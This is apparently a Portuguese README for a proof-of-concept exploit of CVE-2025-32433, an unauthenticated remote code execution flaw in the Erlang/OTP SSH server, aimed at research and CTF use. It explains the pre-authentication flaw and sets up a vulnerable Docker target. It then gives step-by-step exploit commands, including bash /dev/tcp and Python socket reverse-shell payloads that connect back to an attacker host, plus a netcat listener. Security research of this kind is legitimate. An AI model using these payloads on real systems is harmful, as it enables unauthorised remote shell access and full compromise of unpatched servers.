
Exploit de prova de conceito para CVE-2025-32433, permitindo execução remota de código não autenticada no SSH do Erlang/OTP. Inclui configuração Docker e payloads de reverse shell para pesquisa de segurança e desafios CTF.
Este repositório contém uma Prova de Conceito (PoC) para a CVE-2025-32433, uma vulnerabilidade crítica de Execução Remota de Código (RCE) não autenticada que afeta a implementação do servidor SSH no Erlang/Open Telecom Platform (OTP). Esta PoC foi projetada para fins educacionais, pesquisa de segurança e desafios Capture The Flag (CTF).
⚠️ Aviso - Apenas para Uso Educacional e Ético ⚠️
Esta PoC é fornecida estritamente para fins educacionais e de hacking ético. Ela se destina ao uso em ambientes controlados, como máquinas virtuais isoladas ou plataformas CTF, onde você tenha permissão explícita para realizar testes de segurança.
NÃO use esta PoC contra qualquer sistema que você não possua ou para o qual não tenha autorização explícita e por escrito para testar. O acesso não autorizado ou a exploração de sistemas de computador é ilegal e antiético. O autor e os mantenedores deste repositório não são responsáveis por qualquer uso indevido ou dano causado por este código.
| Atributo | Detalhes |
|---|---|
| ID do CVE | CVE-2025-32433 |
| Tipo de Vulnerabilidade | Execução Remota de Código (RCE) não autenticada |
| Pontuação CVSS v3.1 | 10.0 (Crítica) |
| Software Afetado | Servidor SSH do Erlang/OTP (ssh) |
| Versões Afetadas | OTP-27.3.2 e anteriores OTP-26.2.5.10 e anteriores OTP-25.3.2.19 e anteriores Versões a partir do OTP 17.0 e mais antigas |
| Versões Corrigidas | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
A vulnerabilidade reside na forma como o servidor SSH do Erlang/OTP processa as mensagens do protocolo SSH durante a fase de pré-autenticação. Especificamente, o servidor não aplica corretamente a sequência do protocolo SSH, permitindo que um atacante remoto não autenticado envie mensagens SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST maliciosas. Isso permite que o atacante abra um canal de sessão e execute comandos arbitrários do Erlang (que, por sua vez, podem executar comandos do sistema) sem fornecer credenciais válidas. Se o daemon SSH for executado com privilégios elevados (por exemplo, como root), a exploração bem-sucedida pode levar ao comprometimento total do sistema.
A maneira mais fácil de configurar um servidor SSH do Erlang/OTP vulnerável é usando o Dockerfile fornecido.
Clone este repositório:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Construa a imagem Docker:
Este comando compila uma versão vulnerável do Erlang/OTP (OTP-26.2.5.10) e configura o servidor SSH.
docker build -t erlang-ssh-vulnerable .
Execute o contêiner do servidor vulnerável:
Isso inicia o servidor SSH do Erlang/OTP em segundo plano, ouvindo na porta 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: Executa o contêiner em modo destacado (detached).--name erlang-ssh-target: Atribui um nome ao contêiner para facilitar o gerenciamento.-p 2222:2222: Mapeia a porta 2222 do host para a porta 2222 do contêiner.O script cve_2025_32433_exploit.py pode ser executado interativamente ou com argumentos de linha de comando.
Se você executar o script sem argumentos, ele solicitará as informações necessárias.
python3 cve_2025_32433_exploit.py
127.0.0.1 se estiver atacando o Docker na mesma máquina).2222).Este é o comportamento padrão se você deixar o prompt de comando em branco no modo interativo. Ele cria o arquivo /tmp/note.txt no alvo.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!Para obter um reverse shell, você deve fornecer um payload que se conecte de volta a um listener na sua máquina.
Inicie um Netcat listener na sua máquina atacante (ex.: Kali Linux) na porta escolhida.
nc -lvnp 4444
Importante: Certifique-se de que seu firewall (ex.:
ufw) na máquina atacante permita conexões de entrada nesta porta.sudo ufw allow 4444/tcp
Execute o script PoC com o payload de reverse shell. Substitua YOUR_ATTACKER_IP pelo endereço IP da sua máquina.
Reverse Shell Bash:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Reverse Shell Python (geralmente mais confiável):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Verifique seu Netcat listener. Você deve receber uma conexão e obter um shell no contêiner alvo.
Para parar e remover o contêiner e a imagem Docker:
# Parar e remover o contêiner
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Opcional: remover também a imagem
docker rmi erlang-ssh-vulnerable
Verifique se o contêiner está em execução:
docker ps